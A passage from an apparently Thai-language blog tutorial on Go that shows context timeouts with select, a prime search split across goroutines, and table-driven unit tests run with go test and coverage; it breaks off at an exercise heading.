&#xE41;&#xE15;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; select &#xE43;&#xE19; Loop &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Context &#xE43;&#xE19;&#xE17;&#xE38;&#xE01;&#xE23;&#xE2D;&#xE1A; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Timeout &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;</p><pre><code>package main

import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;time&quot;
)

func isPrime(n int) bool {
	if n &lt; 2 {
		return false
	}
	for i := 2; i*i &lt;= n; i++ {
		if n%i == 0 {
			return false
		}
	}
	return true
}

func findPrimes(ctx context.Context, limit int) {
	var primes []int
	for num := 2; num &lt;= limit; num++ {
		select {
		case &lt;-ctx.Done():
			fmt.Println(&quot;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;: &quot; + ctx.Err().Error())
			return
		default:
			if isPrime(num) {
				primes = append(primes, num)
			}
		}
	}
	fmt.Println(&quot;&#xE1E;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &quot;, len(primes), &quot;&#xE15;&#xE31;&#xE27;&quot;)

}

func main() {
	start := time.Now()
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; context &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; 1 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;...&quot;)
	findPrimes(ctx, 9000000)

	fmt.Println(&quot;&#xE02;&#xE2D;&#xE1A;&#xE04;&#xE38;&#xE13;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;!&quot;)
	duration := time.Since(start)
	fmt.Printf(&quot;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; %v\n&quot;, duration)
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-7.11.06-PM.png" class="kg-image" alt loading="lazy" width="1282" height="136" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-10-at-7.11.06-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-10-at-7.11.06-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-7.11.06-PM.png 1282w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A; Code &#xE43;&#xE2B;&#xE21;&#xE48; &#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Sequential &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE14;&#xE49;&#xE27;&#xE22; Goroutine &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Goroutine &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Context &#xE41;&#xE22;&#xE01;&#xE01;&#xE31;&#xE19; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>package main

import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;sync&quot;
	&quot;time&quot;
)

func isPrime(n int) bool {
	if n &lt; 2 {
		return false
	}
	for i := 2; i*i &lt;= n; i++ {
		if n%i == 0 {
			return false
		}
	}
	return true
}

func findPrimes(ctx context.Context, start, end int, wg *sync.WaitGroup) {
	defer wg.Done()
	var primes []int
	for num := start; num &lt;= end; num++ {
		select {
		case &lt;-ctx.Done():
			fmt.Printf(&quot;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; (%d-%d): %v\n&quot;, start, end, ctx.Err())
			return
		default:
			if isPrime(num) {
				primes = append(primes, num)
			}
		}
	}
	fmt.Printf(&quot;&#xE1E;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; %d &#xE15;&#xE31;&#xE27; &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; %d-%d\n&quot;, len(primes), start, end)
}

func main() {
	start := time.Now()

	var wg sync.WaitGroup
	wg.Add(2)

	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;...&quot;)

	go func() {
		ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
		defer cancel()
		findPrimes(ctx, 2, 4500000, &amp;wg)
	}()

	go func() {
		ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
		defer cancel()
		findPrimes(ctx, 4500001, 9000000, &amp;wg)
	}()

	wg.Wait()

	fmt.Println(&quot;&#xE02;&#xE2D;&#xE1A;&#xE04;&#xE38;&#xE13;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;!&quot;)
	duration := time.Since(start)
	fmt.Printf(&quot;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; %v\n&quot;, duration)
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-7.09.54-PM.png" class="kg-image" alt loading="lazy" width="1272" height="168" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-10-at-7.09.54-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-10-at-7.09.54-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-7.09.54-PM.png 1272w" sizes="(min-width: 720px) 720px"></figure><p>Code &#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE01;&#xE49;&#xE19;&#xE35;&#xE49; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;&#xE01;&#xE27;&#xE48;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48; Timeout &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19; Context &#xE44;&#xE1B;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;prime&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; prime
        &#x251C;&#x2500;&#x2500; prime.go
        &#x2514;&#x2500;&#x2500; prime_test.go</code></pre><p><strong>prime.go</strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;prime&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;IsPrime&quot; &#xE41;&#xE25;&#xE30; &quot;FindPrimes&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><p>&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE1B;&#xE23;&#xE31;&#xE1A; Function &quot;FindPrimes&quot; &#xE40;&#xE25;&#xE47;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Test &#xE42;&#xE14;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Callback Function &quot;<strong>primeFound</strong>&quot; &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE15;&#xE31;&#xE27;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; primeFound() &#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE1E;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE42;&#xE14;&#xE22; primeFound &#xE08;&#xE30;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Slide &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; Code &#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE21;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE17;&#xE35;&#xE48;&#xE01;&#xE27;&#xE49;&#xE32;&#xE07;&#xE21;&#xE32;&#xE01; &#xE46;</p><pre><code>// prime.go
package prime

import (
	&quot;context&quot;
)

// IsPrime checks if a number is prime
func IsPrime(n int) bool {
	if n &lt; 2 {
		return false
	}
	for i := 2; i*i &lt;= n; i++ {
		if n%i == 0 {
			return false
		}
	}
	return true
}

// FindPrimes finds all prime numbers in the given range
func FindPrimes(ctx context.Context, start, end int, primeFound func(int)) {
	for num := start; num &lt;= end; num++ {
		select {
		case &lt;-ctx.Done():
			return
		default:
			if IsPrime(num) {
				primeFound(num)
			}
		}
	}
}</code></pre><p><strong>prime_test.go</strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p>Function &quot;<strong>TestIsPrime</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Test Case &#xE41;&#xE1A;&#xE1A; Table-Driven &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xA0;&#xE02;&#xE19;&#xE32;&#xE14;</p><p>Function &quot;<strong>TestFindPrimes</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Test Case &#xE41;&#xE1A;&#xE1A; Table-Driven &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE0A;&#xE48;&#xE27;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; FindPrimes<strong> </strong>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A; Callback Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35; Timeout &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22; context.WithTimeout() &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Positive Test (Happy Path) &#xE41;&#xE25;&#xE30; Negative Test &#xE2B;&#xE23;&#xE37;&#xE2D; Edge case &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE01;&#xE34;&#xE14; Timeout &#xE08;&#xE23;&#xE34;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><pre><code>// prime_test.go
package prime

import (
	&quot;context&quot;
	&quot;testing&quot;
	&quot;time&quot;
)

func TestIsPrime(t *testing.T) {
	tests := []struct {
		name     string
		input    int
		expected bool
	}{
		{&quot;Zero&quot;, 0, false},
		{&quot;One&quot;, 1, false},
		{&quot;Two&quot;, 2, true},
		{&quot;Three&quot;, 3, true},
		{&quot;Four&quot;, 4, false},
		{&quot;Large prime&quot;, 97, true},
		{&quot;Large non-prime&quot;, 100, false},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if got := IsPrime(tt.input); got != tt.expected {
				t.Errorf(&quot;IsPrime(%d) = %v, want %v&quot;, tt.input, got, tt.expected)
			}
		})
	}
}

func TestFindPrimes(t *testing.T) {
	tests := []struct {
		name     string
		start    int
		end      int
		timeout  time.Duration
		expected int
	}{
		{&quot;Small range&quot;, 2, 10, 1 * time.Second, 4},
		{&quot;Medium range&quot;, 2, 100, 1 * time.Second, 25},
		{&quot;Timeout&quot;, 2, 1000000, 1 * time.Millisecond, 0},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			ctx, cancel := context.WithTimeout(context.Background(), tt.timeout)
			defer cancel()

			var count int
			FindPrimes(ctx, tt.start, tt.end, func(prime int) {
				count++
			})

			if tt.name == &quot;Timeout&quot; {
				if ctx.Err() == nil {
					t.Errorf(&quot;Expected timeout, but didn&apos;t occur&quot;)
				}
			} else if count != tt.expected {
				t.Errorf(&quot;FindPrimes(%d, %d) found %d primes, want %d&quot;, tt.start, tt.end, count, tt.expected)
			}
		})
	}
}</code></pre><p>&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; prime
        &#x251C;&#x2500;&#x2500; prime.go
        &#x2514;&#x2500;&#x2500; prime_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test ./...</p><pre><code>go test -v ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-11-at-8.15.44-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-11-at-8.15.44-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-11-at-8.15.44-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-11-at-8.15.44-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-11-at-8.15.44-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-11-at-8.16.33-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-11-at-8.16.33-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-11-at-8.16.33-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-11-at-8.16.33-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-11-at-8.16.33-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;prime&quot; &#xE43;&#xE19; main.go &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Callback Function &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; prime.FindPrimes() 2 &#xE41;&#xE1A;&#xE1A; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>func(p int) {
	fmt.Printf(&quot;%d &quot;, p)
	count++
}</code></pre><figcaption>Callback 1</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>func(p int) {
	timeoutCount++
}</code></pre><figcaption>Callback 2</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;myproject/internal/prime&quot;
	&quot;time&quot;
)

func main() {
	fmt.Println(&quot;\n&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;...&quot;)

	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	count := 0
	prime.FindPrimes(ctx, 2, 100, func(p int) {
		fmt.Printf(&quot;%d &quot;, p)
		count++
	})

	fmt.Printf(&quot;\n&#xE1E;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; %d &#xE15;&#xE31;&#xE27;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; 2 &#xE16;&#xE36;&#xE07; 100\n&quot;, count)

	ctxTimeout, cancelTimeout := context.WithTimeout(context.Background(), 1*time.Millisecond)
	defer cancelTimeout()

	timeoutCount := 0
	prime.FindPrimes(ctxTimeout, 2, 1000000, func(p int) {
		timeoutCount++
	})

	if ctxTimeout.Err() != nil {
		fmt.Println(&quot;&#xE40;&#xE01;&#xE34;&#xE14; Timeout &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE44;&#xE27;&#xE49;&quot;)
	} else {
		fmt.Println(&quot;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Timeout &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE44;&#xE27;&#xE49;&quot;)
	}

	fmt.Printf(&quot;&#xE1E;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; %d &#xE15;&#xE31;&#xE27;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE01;&#xE34;&#xE14; Timeout\n&quot;, timeoutCount)
}
</code></pre><figcaption>main.go</figcaption></figure><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-11-at-8.28.11-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-11-at-8.28.11-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-11-at-8.28.11-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-11-at-8.28.11-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-11-at-8.28.11-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><br><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Program 